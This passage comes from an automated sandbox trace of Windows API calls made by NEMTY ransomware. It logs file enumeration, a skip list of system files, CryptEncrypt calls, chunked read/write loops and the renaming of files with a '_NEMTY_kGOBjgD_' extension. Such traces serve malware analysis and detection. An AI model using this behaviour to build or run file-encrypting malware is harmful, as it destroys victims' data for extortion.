nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.638] CloseHandle (hObject=0xffffffff) returned 0 [0086.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0086.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0086.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.639] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0086.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.639] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0086.639] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0086.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0086.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0086.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0086.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0086.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0086.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0086.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0086.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0086.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0086.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0086.641] Sleep (dwMilliseconds=0x5) [0086.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe74c3ad0, dwHighDateTime=0x1d561e7)) [0086.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe74c3ad0, dwHighDateTime=0x1d561e7)) [0086.656] GetLastError () returned 0x5 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.656] GetLastError () returned 0x5 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.656] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0086.656] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="8pv8EmBC+SRRxJ/mV7lAb8n79ZixfarWyzAAumGQ4eWeflyMY0ty/L7FXRwPeqHX\r\nlNTumgA0xL5URlYTYL7cPoPpx4quDzClw0CFN71U6RAgQprIT/fazZVSxO+3Fnsy\r\n0RliW0Q39PfZ4yPi7H3V6vx+SOk+u9mmsgOaEH24COBxKqyQeiIlHgLXIYqRTqPO\r\n+TVRaLrUHMU/aQJWZa0zNXUJRm/Scce0kX0mfc2YvMlNgJwSEi37JpAgLtD/x5vT\r\n/41/Yf9HssbMVoPRTrt/nFsenMamo2712fVR/8XeM2E1McPhHXNLjal8p+OpVRsr\r\n9ioz8d1fWi3ihenTfNGmoQ==\r\n", pcchString=0x653e91c) returned 1 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0086.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0086.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0086.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.657] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.657] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.723] SetFilePointer (in: 